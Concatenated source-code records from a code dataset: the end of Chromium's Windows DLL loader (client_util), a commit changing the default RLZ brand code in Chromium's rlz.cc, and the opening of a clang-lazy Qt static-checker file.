\"base\/file_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/win\/registry.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"base\/version.h\"\n#include \"chrome\/app\/breakpad_win.h\"\n#include \"chrome\/app\/client_util.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_result_codes.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/installer\/util\/browser_distribution.h\"\n#include \"chrome\/installer\/util\/channel_info.h\"\n#include \"chrome\/installer\/util\/install_util.h\"\n#include \"chrome\/installer\/util\/google_update_constants.h\"\n#include \"chrome\/installer\/util\/google_update_settings.h\"\n#include \"chrome\/installer\/util\/util_constants.h\"\n\nnamespace {\n\/\/ The entry point signature of chrome.dll.\ntypedef int (*DLL_MAIN)(HINSTANCE, sandbox::SandboxInterfaceInfo*, wchar_t*);\n\ntypedef void (*RelaunchChromeBrowserWithNewCommandLineIfNeededFunc)();\n\n\/\/ Gets chrome version according to the load path. |exe_path| must be the\n\/\/ backslash terminated directory of the current chrome.exe.\nbool GetVersion(const wchar_t* exe_path, const wchar_t* key_path,\n std::wstring* version) {\n HKEY reg_root = InstallUtil::IsPerUserInstall(exe_path) ? HKEY_CURRENT_USER :\n HKEY_LOCAL_MACHINE;\n bool success = false;\n\n base::win::RegKey key(reg_root, key_path, KEY_QUERY_VALUE);\n if (key.Valid()) {\n \/\/ If 'new_chrome.exe' is present it means chrome was auto-updated while\n \/\/ running. We need to consult the opv value so we can load the old dll.\n \/\/ TODO(cpu) : This is solving the same problem as the environment variable\n \/\/ so one of them will eventually be deprecated.\n std::wstring new_chrome_exe(exe_path);\n new_chrome_exe.append(installer::kChromeNewExe);\n if (::PathFileExistsW(new_chrome_exe.c_str()) &&\n key.ReadValue(google_update::kRegOldVersionField,\n version) == ERROR_SUCCESS) {\n success = true;\n } else {\n success = (key.ReadValue(google_update::kRegVersionField,\n version) == ERROR_SUCCESS);\n }\n }\n\n return success;\n}\n\n\/\/ Gets the path of the current exe with a trailing backslash.\nstd::wstring GetExecutablePath() {\n wchar_t path[MAX_PATH];\n ::GetModuleFileNameW(NULL, path, MAX_PATH);\n if (!::PathRemoveFileSpecW(path))\n return std::wstring();\n std::wstring exe_path(path);\n return exe_path.append(L\"\\\\\");\n}\n\n\/\/ Not generic, we only handle strings up to 128 chars.\nbool EnvQueryStr(const wchar_t* key_name, std::wstring* value) {\n wchar_t out[128];\n DWORD count = sizeof(out)\/sizeof(out[0]);\n DWORD rv = ::GetEnvironmentVariableW(key_name, out, count);\n if ((rv == 0) || (rv >= count))\n return false;\n *value = out;\n return true;\n}\n\n\/\/ Expects that |dir| has a trailing backslash. |dir| is modified so it\n\/\/ contains the full path that was tried. Caller must check for the return\n\/\/ value not being null to determine if this path contains a valid dll.\nHMODULE LoadChromeWithDirectory(std::wstring* dir) {\n ::SetCurrentDirectoryW(dir->c_str());\n const CommandLine& cmd_line = *CommandLine::ForCurrentProcess();\n#ifdef _WIN64\n if ((cmd_line.GetSwitchValueASCII(switches::kProcessType) ==\n switches::kNaClBrokerProcess) ||\n (cmd_line.GetSwitchValueASCII(switches::kProcessType) ==\n switches::kNaClLoaderProcess)) {\n \/\/ Load the 64-bit DLL when running in a 64-bit process.\n dir->append(installer::kChromeNaCl64Dll);\n } else {\n \/\/ Only NaCl broker and loader can be launched as Win64 processes.\n NOTREACHED();\n return NULL;\n }\n#else\n dir->append(installer::kChromeDll);\n#endif\n\n#ifdef NDEBUG\n \/\/ Experimental pre-reading optimization\n \/\/ The idea is to pre read significant portion of chrome.dll in advance\n \/\/ so that subsequent hard page faults are avoided.\n if (!cmd_line.HasSwitch(switches::kProcessType)) {\n \/\/ The kernel brings in 8 pages for the code section at a time and 4 pages\n \/\/ for other sections. We can skip over these pages to avoid a soft page\n \/\/ fault which may not occur during code execution. However skipping 4K at\n \/\/ a time still has better performance over 32K and 16K according to data.\n \/\/ TODO(ananta)\n \/\/ Investigate this and tune.\n const size_t kStepSize = 4 * 1024;\n\n DWORD pre_read_size = 0;\n DWORD pre_read_step_size = kStepSize;\n DWORD pre_read = 1;\n\n base::win::RegKey key(HKEY_CURRENT_USER, L\"Software\\\\Google\\\\ChromeFrame\",\n KEY_QUERY_VALUE);\n if (key.Valid()) {\n key.ReadValueDW(L\"PreReadSize\", &pre_read_size);\n key.ReadValueDW(L\"PreReadStepSize\", &pre_read_step_size);\n key.ReadValueDW(L\"PreRead\", &pre_read);\n key.Close();\n }\n if (pre_read) {\n TRACE_EVENT_BEGIN_ETW(\"PreReadImage\", 0, \"\");\n file_util::PreReadImage(dir->c_str(), pre_read_size, pre_read_step_size);\n TRACE_EVENT_END_ETW(\"PreReadImage\", 0, \"\");\n }\n }\n#endif \/\/ NDEBUG\n\n return ::LoadLibraryExW(dir->c_str(), NULL,\n LOAD_WITH_ALTERED_SEARCH_PATH);\n}\n\nvoid RecordDidRun(const std::wstring& dll_path) {\n bool system_level = !InstallUtil::IsPerUserInstall(dll_path.c_str());\n GoogleUpdateSettings::UpdateDidRunState(true, system_level);\n}\n\nvoid ClearDidRun(const std::wstring& dll_path) {\n bool system_level = !InstallUtil::IsPerUserInstall(dll_path.c_str());\n GoogleUpdateSettings::UpdateDidRunState(false, system_level);\n}\n\n}\n\/\/=============================================================================\n\nMainDllLoader::MainDllLoader() : dll_(NULL) {\n}\n\nMainDllLoader::~MainDllLoader() {\n#ifdef PURIFY\n \/\/ We should never unload the dll. There is only risk and no gain from\n \/\/ doing so. The singleton dtors have been already run by AtExitManager.\n ::FreeLibrary(dll_);\n#endif\n}\n\n\/\/ Loading chrome is an interesting affair. First we try loading from the\n\/\/ current directory to support run-what-you-compile and other development\n\/\/ scenarios.\n\/\/ If that fails then we look at the --chrome-version command line flag followed\n\/\/ by the 'CHROME_VERSION' env variable to determine if we should stick with an\n\/\/ older dll version even if a new one is available to support upgrade-in-place\n\/\/ scenarios.\n\/\/ If that fails then finally we look at the registry which should point us\n\/\/ to the latest version. This is the expected path for the first chrome.exe\n\/\/ browser instance in an installed build.\nHMODULE MainDllLoader::Load(std::wstring* out_version, std::wstring* out_file) {\n std::wstring dir(GetExecutablePath());\n *out_file = dir;\n HMODULE dll = LoadChromeWithDirectory(out_file);\n if (dll)\n return dll;\n\n std::wstring version_string;\n scoped_ptr<Version> version;\n const CommandLine& cmd_line = *CommandLine::ForCurrentProcess();\n if (cmd_line.HasSwitch(switches::kChromeVersion)) {\n version_string = cmd_line.GetSwitchValueNative(switches::kChromeVersion);\n version.reset(Version::GetVersionFromString(WideToASCII(version_string)));\n\n if (!version.get()) {\n \/\/ If a bogus command line flag was given, then abort.\n LOG(ERROR) << \"Invalid version string received on command line: \"\n << version_string;\n return NULL;\n }\n }\n\n if (!version.get()) {\n if (EnvQueryStr(ASCIIToWide(chrome::kChromeVersionEnvVar).c_str(),\n &version_string)) {\n version.reset(Version::GetVersionFromString(WideToASCII(version_string)));\n }\n }\n\n if (!version.get()) {\n std::wstring reg_path(GetRegistryPath());\n \/\/ Look into the registry to find the latest version. We don't validate\n \/\/ this by building a Version object to avoid harming normal case startup\n \/\/ time.\n version_string.clear();\n GetVersion(dir.c_str(), reg_path.c_str(), &version_string);\n }\n\n if (version.get() || !version_string.empty()) {\n *out_file = dir;\n *out_version = version_string;\n out_file->append(*out_version).append(L\"\\\\\");\n dll = LoadChromeWithDirectory(out_file);\n if (!dll) {\n LOG(ERROR) << \"Failed to load Chrome DLL from \" << out_file;\n }\n return dll;\n } else {\n LOG(ERROR) << \"Could not get Chrome DLL version.\";\n return NULL;\n }\n}\n\n\/\/ Launching is a matter of loading the right dll, setting the CHROME_VERSION\n\/\/ environment variable and just calling the entry point. Derived classes can\n\/\/ add custom code in the OnBeforeLaunch callback.\nint MainDllLoader::Launch(HINSTANCE instance,\n sandbox::SandboxInterfaceInfo* sbox_info) {\n std::wstring version;\n std::wstring file;\n dll_ = Load(&version, &file);\n if (!dll_)\n return chrome::RESULT_CODE_MISSING_DATA;\n\n scoped_ptr<base::Environment> env(base::Environment::Create());\n env->SetVar(chrome::kChromeVersionEnvVar, WideToUTF8(version));\n\n InitCrashReporterWithDllPath(file);\n OnBeforeLaunch(file);\n\n DLL_MAIN entry_point =\n reinterpret_cast<DLL_MAIN>(::GetProcAddress(dll_, \"ChromeMain\"));\n if (!entry_point)\n return chrome::RESULT_CODE_BAD_PROCESS_TYPE;\n\n int rc = entry_point(instance, sbox_info, ::GetCommandLineW());\n return OnBeforeExit(rc, file);\n}\n\nvoid MainDllLoader::RelaunchChromeBrowserWithNewCommandLineIfNeeded() {\n RelaunchChromeBrowserWithNewCommandLineIfNeededFunc relaunch_function =\n reinterpret_cast<RelaunchChromeBrowserWithNewCommandLineIfNeededFunc>(\n ::GetProcAddress(dll_,\n \"RelaunchChromeBrowserWithNewCommandLineIfNeeded\"));\n if (!relaunch_function) {\n LOG(ERROR) << \"Could not find exported function \"\n << \"RelaunchChromeBrowserWithNewCommandLineIfNeeded\";\n } else {\n relaunch_function();\n }\n}\n\n\/\/=============================================================================\n\nclass ChromeDllLoader : public MainDllLoader {\n public:\n virtual std::wstring GetRegistryPath() {\n std::wstring key(google_update::kRegPathClients);\n BrowserDistribution* dist = BrowserDistribution::GetDistribution();\n key.append(L\"\\\\\").append(dist->GetAppGuid());\n return key;\n }\n\n virtual void OnBeforeLaunch(const std::wstring& dll_path) {\n RecordDidRun(dll_path);\n }\n\n virtual int OnBeforeExit(int return_code, const std::wstring& dll_path) {\n \/\/ NORMAL_EXIT_CANCEL is used for experiments when the user cancels\n \/\/ so we need to reset the did_run signal so omaha does not count\n \/\/ this run as active usage.\n if (chrome::RESULT_CODE_NORMAL_EXIT_CANCEL == return_code) {\n ClearDidRun(dll_path);\n }\n return return_code;\n }\n};\n\n\/\/=============================================================================\n\nclass ChromiumDllLoader : public MainDllLoader {\n public:\n virtual std::wstring GetRegistryPath() {\n BrowserDistribution* dist = BrowserDistribution::GetDistribution();\n return dist->GetVersionKey();\n }\n};\n\nMainDllLoader* MakeMainDllLoader() {\n#if defined(GOOGLE_CHROME_BUILD)\n return new ChromeDllLoader();\n#else\n return new ChromiumDllLoader();\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ This code glues the RLZ library DLL with Chrome. It allows Chrome to work\n\/\/ with or without the DLL being present. If the DLL is not present the\n\/\/ functions do nothing and just return false.\n\n#include \"chrome\/browser\/rlz\/rlz.h\"\n\n#include <windows.h>\n#include <process.h>\n\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/task.h\"\n#include \"base\/thread.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/profile_manager.h\"\n#include \"chrome\/browser\/template_url_model.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/env_vars.h\"\n#include \"chrome\/installer\/util\/google_update_settings.h\"\n\/\/#include \"chrome\/common\/pref_names.h\"\n\/\/#include \"chrome\/common\/pref_service.h\"\n\nnamespace {\n\n\/\/ The maximum length of an access points RLZ in wide chars.\nconst DWORD kMaxRlzLength = 64;\n\n\/\/ The RLZ is a DLL that might not be present in the system. We load it\n\/\/ as needed but never unload it.\nvolatile HMODULE rlz_dll = NULL;\n\n\nenum {\n ACCESS_VALUES_STALE, \/\/ Possibly new values available.\n ACCESS_VALUES_FRESH \/\/ The cached values are current.\n};\n\n\/\/ Tracks if we have tried and succeeded sending the ping. This helps us\n\/\/ decide if we need to refresh the some cached strings.\nvolatile int access_values_state = ACCESS_VALUES_STALE;\n\nextern \"C\" {\ntypedef bool (*RecordProductEventFn)(RLZTracker::Product product,\n RLZTracker::AccessPoint point,\n RLZTracker::Event event_id,\n void* reserved);\n\ntypedef bool (*GetAccessPointRlzFn)(RLZTracker::AccessPoint point,\n wchar_t* rlz,\n DWORD rlz_size,\n void* reserved);\n\ntypedef bool (*ClearAllProductEventsFn)(RLZTracker::Product product,\n void* reserved);\n\ntypedef bool (*SendFinancialPingFn)(RLZTracker::Product product,\n RLZTracker::AccessPoint* access_points,\n const WCHAR* product_signature,\n const WCHAR* product_brand,\n const WCHAR* product_id,\n const WCHAR* product_lang,\n void* reserved);\n} \/\/ extern \"C\"\n\nRecordProductEventFn record_event = NULL;\nGetAccessPointRlzFn get_access_point = NULL;\nClearAllProductEventsFn clear_all_events = NULL;\nSendFinancialPingFn send_ping = NULL;\n\ntemplate <typename FuncT>\nFuncT WireExport(HMODULE module, const char* export_name) {\n void* entry_point = ::GetProcAddress(module, export_name);\n return (module)? reinterpret_cast<FuncT>(entry_point) : NULL;\n}\n\nHMODULE LoadRLZLibraryInternal(int directory_key) {\n std::wstring rlz_path;\n if (!PathService::Get(directory_key, &rlz_path))\n return NULL;\n file_util::AppendToPath(&rlz_path, L\"rlz.dll\");\n return ::LoadLibraryW(rlz_path.c_str());\n}\n\nbool LoadRLZLibrary(int directory_key) {\n rlz_dll = LoadRLZLibraryInternal(directory_key);\n if (!rlz_dll) {\n \/\/ As a last resort we can try the EXE directory.\n if (directory_key != base::DIR_EXE)\n rlz_dll = LoadRLZLibraryInternal(base::DIR_EXE);\n }\n if (rlz_dll) {\n record_event =\n WireExport<RecordProductEventFn>(rlz_dll, \"RecordProductEvent\");\n get_access_point =\n WireExport<GetAccessPointRlzFn>(rlz_dll, \"GetAccessPointRlz\");\n clear_all_events =\n WireExport<ClearAllProductEventsFn>(rlz_dll, \"ClearAllProductEvents\");\n send_ping =\n WireExport<SendFinancialPingFn>(rlz_dll, \"SendFinancialPing\");\n return (record_event && get_access_point && clear_all_events && send_ping);\n }\n return false;\n}\n\nclass DailyPingTask : public Task {\n public:\n virtual ~DailyPingTask() {\n }\n virtual void Run() {\n \/\/ We use a transient thread because we have no guarantees about\n \/\/ how long the RLZ lib can block us.\n _beginthread(PingNow, 0, NULL);\n }\n\n private:\n \/\/ Causes a ping to the server using WinInet. There is logic inside RLZ dll\n \/\/ that throttles it to a maximum of one ping per day.\n static void _cdecl PingNow(void*) {\n std::wstring lang;\n GoogleUpdateSettings::GetLanguage(&lang);\n if (lang.empty())\n lang = L\"en\";\n std::wstring brand;\n GoogleUpdateSettings::GetBrand(&brand);\n if (brand.empty())\n brand = L\"GGLD\";\n if (RLZTracker::SendFinancialPing(RLZTracker::CHROME, L\"chrome\",\n brand.c_str(), NULL, lang.c_str())) {\n access_values_state = ACCESS_VALUES_STALE;\n }\n }\n};\n\n\/\/ Performs late RLZ initialization and RLZ event recording for chrome.\n\/\/ This task needs to run on the UI thread.\nclass DelayedInitTask : public Task {\n public:\n explicit DelayedInitTask(int directory_key, bool first_run)\n : directory_key_(directory_key), first_run_(first_run) {\n }\n virtual ~DelayedInitTask() {\n }\n virtual void Run() {\n \/\/ For non-interactive tests we don't do the rest of the initialization\n \/\/ because sometimes the very act of loading the dll causes QEMU to crash.\n if (::GetEnvironmentVariableW(env_vars::kHeadless, NULL, 0))\n return;\n if (!LoadRLZLibrary(directory_key_))\n return;\n \/\/ Do the initial event recording if is the first run or if we have an\n \/\/ empty rlz which means we haven't got a chance to do it.\n std::wstring omnibox_rlz;\n RLZTracker::GetAccessPointRlz(RLZTracker::CHROME_OMNIBOX, &omnibox_rlz);\n\n if (first_run_ || omnibox_rlz.empty()) {\n \/\/ Record the installation of chrome.\n RLZTracker::RecordProductEvent(RLZTracker::CHROME,\n RLZTracker::CHROME_OMNIBOX,\n RLZTracker::INSTALL);\n RLZTracker::RecordProductEvent(RLZTracker::CHROME,\n RLZTracker::CHROME_HOME_PAGE,\n RLZTracker::INSTALL);\n \/\/ Record if google is the initial search provider.\n if (IsGoogleDefaultSearch()) {\n RLZTracker::RecordProductEvent(RLZTracker::CHROME,\n RLZTracker::CHROME_OMNIBOX,\n RLZTracker::SET_TO_GOOGLE);\n }\n }\n \/\/ Schedule the daily RLZ ping.\n base::Thread* thread = g_browser_process->file_thread();\n if (thread)\n thread->message_loop()->PostTask(FROM_HERE, new DailyPingTask());\n }\n\n private:\n bool IsGoogleDefaultSearch() {\n if (!g_browser_process)\n return false;\n std::wstring user_data_dir;\n if (!PathService::Get(chrome::DIR_USER_DATA, &user_data_dir))\n return false;\n ProfileManager* profile_manager = g_browser_process->profile_manager();\n Profile* profile = profile_manager->GetDefaultProfile(user_data_dir);\n if (!profile)\n return false;\n const TemplateURL* url_template =\n profile->GetTemplateURLModel()->GetDefaultSearchProvider();\n if (!url_template)\n return false;\n return url_template->url()->HasGoogleBaseURLs();\n }\n\n int directory_key_;\n bool first_run_;\n DISALLOW_IMPLICIT_CONSTRUCTORS(DelayedInitTask);\n};\n\n} \/\/ namespace\n\nbool RLZTracker::InitRlz(int directory_key) {\n return LoadRLZLibrary(directory_key);\n}\n\nbool RLZTracker::InitRlzDelayed(int directory_key, bool first_run) {\n \/\/ Schedule the delayed init items.\n const int kTwentySeconds = 20 * 1000;\n MessageLoop::current()->PostDelayedTask(FROM_HERE,\n new DelayedInitTask(directory_key, first_run), kTwentySeconds);\n return true;\n}\n\nbool RLZTracker::RecordProductEvent(Product product, AccessPoint point,\n Event event) {\n return (record_event) ? record_event(product, point, event, NULL) : false;\n}\n\nbool RLZTracker::ClearAllProductEvents(Product product) {\n return (clear_all_events) ? clear_all_events(product, NULL) : false;\n}\n\n\/\/ We implement caching of the answer of get_access_point() if the request\n\/\/ is for CHROME_OMNIBOX. If we had a successful ping, then we update the\n\/\/ cached value.\n\nbool RLZTracker::GetAccessPointRlz(AccessPoint point, std::wstring* rlz) {\n static std::wstring cached_ommibox_rlz;\n if (!get_access_point)\n return false;\n if ((CHROME_OMNIBOX == point) &&\n (access_values_state == ACCESS_VALUES_FRESH)) {\n *rlz = cached_ommibox_rlz;\n return true;\n }\n wchar_t str_rlz[kMaxRlzLength];\n if (!get_access_point(point, str_rlz, kMaxRlzLength, NULL))\n return false;\n if (CHROME_OMNIBOX == point) {\n access_values_state = ACCESS_VALUES_FRESH;\n cached_ommibox_rlz.assign(str_rlz);\n }\n *rlz = str_rlz;\n return true;\n}\n\nbool RLZTracker::SendFinancialPing(Product product,\n const wchar_t* product_signature,\n const wchar_t* product_brand,\n const wchar_t* product_id,\n const wchar_t* product_lang) {\n AccessPoint points[] = {CHROME_OMNIBOX, CHROME_HOME_PAGE, NO_ACCESS_POINT};\n return (send_ping) ? send_ping(product, points, product_signature,\n product_brand, product_id, product_lang, NULL) : false;\n}\n\n<commit_msg>New default brandcode.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ This code glues the RLZ library DLL with Chrome. It allows Chrome to work\n\/\/ with or without the DLL being present. If the DLL is not present the\n\/\/ functions do nothing and just return false.\n\n#include \"chrome\/browser\/rlz\/rlz.h\"\n\n#include <windows.h>\n#include <process.h>\n\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/path_service.h\"\n#include \"base\/task.h\"\n#include \"base\/thread.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/profile_manager.h\"\n#include \"chrome\/browser\/template_url_model.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/env_vars.h\"\n#include \"chrome\/installer\/util\/google_update_settings.h\"\n\/\/#include \"chrome\/common\/pref_names.h\"\n\/\/#include \"chrome\/common\/pref_service.h\"\n\nnamespace {\n\n\/\/ The maximum length of an access points RLZ in wide chars.\nconst DWORD kMaxRlzLength = 64;\n\n\/\/ The RLZ is a DLL that might not be present in the system. We load it\n\/\/ as needed but never unload it.\nvolatile HMODULE rlz_dll = NULL;\n\n\nenum {\n ACCESS_VALUES_STALE, \/\/ Possibly new values available.\n ACCESS_VALUES_FRESH \/\/ The cached values are current.\n};\n\n\/\/ Tracks if we have tried and succeeded sending the ping. This helps us\n\/\/ decide if we need to refresh the some cached strings.\nvolatile int access_values_state = ACCESS_VALUES_STALE;\n\nextern \"C\" {\ntypedef bool (*RecordProductEventFn)(RLZTracker::Product product,\n RLZTracker::AccessPoint point,\n RLZTracker::Event event_id,\n void* reserved);\n\ntypedef bool (*GetAccessPointRlzFn)(RLZTracker::AccessPoint point,\n wchar_t* rlz,\n DWORD rlz_size,\n void* reserved);\n\ntypedef bool (*ClearAllProductEventsFn)(RLZTracker::Product product,\n void* reserved);\n\ntypedef bool (*SendFinancialPingFn)(RLZTracker::Product product,\n RLZTracker::AccessPoint* access_points,\n const WCHAR* product_signature,\n const WCHAR* product_brand,\n const WCHAR* product_id,\n const WCHAR* product_lang,\n void* reserved);\n} \/\/ extern \"C\"\n\nRecordProductEventFn record_event = NULL;\nGetAccessPointRlzFn get_access_point = NULL;\nClearAllProductEventsFn clear_all_events = NULL;\nSendFinancialPingFn send_ping = NULL;\n\ntemplate <typename FuncT>\nFuncT WireExport(HMODULE module, const char* export_name) {\n void* entry_point = ::GetProcAddress(module, export_name);\n return (module)? reinterpret_cast<FuncT>(entry_point) : NULL;\n}\n\nHMODULE LoadRLZLibraryInternal(int directory_key) {\n std::wstring rlz_path;\n if (!PathService::Get(directory_key, &rlz_path))\n return NULL;\n file_util::AppendToPath(&rlz_path, L\"rlz.dll\");\n return ::LoadLibraryW(rlz_path.c_str());\n}\n\nbool LoadRLZLibrary(int directory_key) {\n rlz_dll = LoadRLZLibraryInternal(directory_key);\n if (!rlz_dll) {\n \/\/ As a last resort we can try the EXE directory.\n if (directory_key != base::DIR_EXE)\n rlz_dll = LoadRLZLibraryInternal(base::DIR_EXE);\n }\n if (rlz_dll) {\n record_event =\n WireExport<RecordProductEventFn>(rlz_dll, \"RecordProductEvent\");\n get_access_point =\n WireExport<GetAccessPointRlzFn>(rlz_dll, \"GetAccessPointRlz\");\n clear_all_events =\n WireExport<ClearAllProductEventsFn>(rlz_dll, \"ClearAllProductEvents\");\n send_ping =\n WireExport<SendFinancialPingFn>(rlz_dll, \"SendFinancialPing\");\n return (record_event && get_access_point && clear_all_events && send_ping);\n }\n return false;\n}\n\nclass DailyPingTask : public Task {\n public:\n virtual ~DailyPingTask() {\n }\n virtual void Run() {\n \/\/ We use a transient thread because we have no guarantees about\n \/\/ how long the RLZ lib can block us.\n _beginthread(PingNow, 0, NULL);\n }\n\n private:\n \/\/ Causes a ping to the server using WinInet. There is logic inside RLZ dll\n \/\/ that throttles it to a maximum of one ping per day.\n static void _cdecl PingNow(void*) {\n std::wstring lang;\n GoogleUpdateSettings::GetLanguage(&lang);\n if (lang.empty())\n lang = L\"en\";\n std::wstring brand;\n GoogleUpdateSettings::GetBrand(&brand);\n if (brand.empty())\n brand = L\"GGCM\";\n if (RLZTracker::SendFinancialPing(RLZTracker::CHROME, L\"chrome\",\n brand.c_str(), NULL, lang.c_str())) {\n access_values_state = ACCESS_VALUES_STALE;\n }\n }\n};\n\n\/\/ Performs late RLZ initialization and RLZ event recording for chrome.\n\/\/ This task needs to run on the UI thread.\nclass DelayedInitTask : public Task {\n public:\n explicit DelayedInitTask(int directory_key, bool first_run)\n : directory_key_(directory_key), first_run_(first_run) {\n }\n virtual ~DelayedInitTask() {\n }\n virtual void Run() {\n \/\/ For non-interactive tests we don't do the rest of the initialization\n \/\/ because sometimes the very act of loading the dll causes QEMU to crash.\n if (::GetEnvironmentVariableW(env_vars::kHeadless, NULL, 0))\n return;\n if (!LoadRLZLibrary(directory_key_))\n return;\n \/\/ Do the initial event recording if is the first run or if we have an\n \/\/ empty rlz which means we haven't got a chance to do it.\n std::wstring omnibox_rlz;\n RLZTracker::GetAccessPointRlz(RLZTracker::CHROME_OMNIBOX, &omnibox_rlz);\n\n if (first_run_ || omnibox_rlz.empty()) {\n \/\/ Record the installation of chrome.\n RLZTracker::RecordProductEvent(RLZTracker::CHROME,\n RLZTracker::CHROME_OMNIBOX,\n RLZTracker::INSTALL);\n RLZTracker::RecordProductEvent(RLZTracker::CHROME,\n RLZTracker::CHROME_HOME_PAGE,\n RLZTracker::INSTALL);\n \/\/ Record if google is the initial search provider.\n if (IsGoogleDefaultSearch()) {\n RLZTracker::RecordProductEvent(RLZTracker::CHROME,\n RLZTracker::CHROME_OMNIBOX,\n RLZTracker::SET_TO_GOOGLE);\n }\n }\n \/\/ Schedule the daily RLZ ping.\n base::Thread* thread = g_browser_process->file_thread();\n if (thread)\n thread->message_loop()->PostTask(FROM_HERE, new DailyPingTask());\n }\n\n private:\n bool IsGoogleDefaultSearch() {\n if (!g_browser_process)\n return false;\n std::wstring user_data_dir;\n if (!PathService::Get(chrome::DIR_USER_DATA, &user_data_dir))\n return false;\n ProfileManager* profile_manager = g_browser_process->profile_manager();\n Profile* profile = profile_manager->GetDefaultProfile(user_data_dir);\n if (!profile)\n return false;\n const TemplateURL* url_template =\n profile->GetTemplateURLModel()->GetDefaultSearchProvider();\n if (!url_template)\n return false;\n return url_template->url()->HasGoogleBaseURLs();\n }\n\n int directory_key_;\n bool first_run_;\n DISALLOW_IMPLICIT_CONSTRUCTORS(DelayedInitTask);\n};\n\n} \/\/ namespace\n\nbool RLZTracker::InitRlz(int directory_key) {\n return LoadRLZLibrary(directory_key);\n}\n\nbool RLZTracker::InitRlzDelayed(int directory_key, bool first_run) {\n \/\/ Schedule the delayed init items.\n const int kTwentySeconds = 20 * 1000;\n MessageLoop::current()->PostDelayedTask(FROM_HERE,\n new DelayedInitTask(directory_key, first_run), kTwentySeconds);\n return true;\n}\n\nbool RLZTracker::RecordProductEvent(Product product, AccessPoint point,\n Event event) {\n return (record_event) ? record_event(product, point, event, NULL) : false;\n}\n\nbool RLZTracker::ClearAllProductEvents(Product product) {\n return (clear_all_events) ? clear_all_events(product, NULL) : false;\n}\n\n\/\/ We implement caching of the answer of get_access_point() if the request\n\/\/ is for CHROME_OMNIBOX. If we had a successful ping, then we update the\n\/\/ cached value.\n\nbool RLZTracker::GetAccessPointRlz(AccessPoint point, std::wstring* rlz) {\n static std::wstring cached_ommibox_rlz;\n if (!get_access_point)\n return false;\n if ((CHROME_OMNIBOX == point) &&\n (access_values_state == ACCESS_VALUES_FRESH)) {\n *rlz = cached_ommibox_rlz;\n return true;\n }\n wchar_t str_rlz[kMaxRlzLength];\n if (!get_access_point(point, str_rlz, kMaxRlzLength, NULL))\n return false;\n if (CHROME_OMNIBOX == point) {\n access_values_state = ACCESS_VALUES_FRESH;\n cached_ommibox_rlz.assign(str_rlz);\n }\n *rlz = str_rlz;\n return true;\n}\n\nbool RLZTracker::SendFinancialPing(Product product,\n const wchar_t* product_signature,\n const wchar_t* product_brand,\n const wchar_t* product_id,\n const wchar_t* product_lang) {\n AccessPoint points[] = {CHROME_OMNIBOX, CHROME_HOME_PAGE, NO_ACCESS_POINT};\n return (send_ping) ? send_ping(product, points, product_signature,\n product_brand, product_id, product_lang, NULL) : false;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of the clang-lazy static checker.\n\n Copyright (C) 2015 Klarälvdalens Datakonsult AB, a KDAB Group company, info@kdab.com\n Author: Sérgio Martins <sergio.martins@kdab.com>\n\n Copyright (C) 2015 Sergio Martins <smartins@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License along\n with this program; if not, write to the Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"checkmanager.h\"\n#include \"detachingtemporary.h\"\n#include \"Utils.h\"\n#include \"StringUtils.h\"\n\n#include <clang\/AST\/DeclCXX.h>\n#include <clang\/AST\/Expr.h>\n#include <clang\/AST\/ExprCXX.h>\n\nusing namespace clang;\nusing namespace std;\n\nDetachingTemporary::DetachingTemporary(const std::string &name)\n : DetachingBase(name)\n{\n \/\/ Extra stuff that isn't really related to detachments but doesn't make sense to call on temporaries\n m_writeMethodsByType[\"QString\"] = {\"push_back\", \"push_front\", \"clear\", \"chop\"};\n m_writeMethodsByType[\"QList\"] = {\"takeAt\", \"takeFirst\", \"takeLast\", \"removeOne\", \"removeAll\", \"erase\"};\n m_writeMethodsByType[\"QVector\"] = { \"fill\", \"insert\"};\n m_writeMethodsByType[\"QMap\"] = { \"erase\", \"insert\", \"insertMulti\", \"remove\", \"take\", \"unite\" };\n m_writeMethodsByType[\"QHash\"] = { \"erase\", \"insert\", \"insertMulti\", \"remove\", \"take\", \"unite\"};\n m_writeMethodsByType[\"QMultiHash\"] = m_writeMethodsByType[\"QHash\"];\n m_writeMethodsByType[\"QMultiMap\"] = m_writeMethodsByType[\"QMap\"];\n m_writeMethodsByType[\"QLinkedList\"] = {\"takeFirst\", \"takeLast\", \"removeOne\", \"removeAll\", \"erase\"};\n m_writeMethodsByType[\"QSet\"] = {\"erase\", \"insert\", \"intersect\", \"unite\", \"subtract\"};\n m_writeMethodsByType[\"QStack\"] = {\"push\", \"swap\"};\n m_writeMethodsByType[\"QQueue\"] = {\"enqueue\", \"swap\"};\n 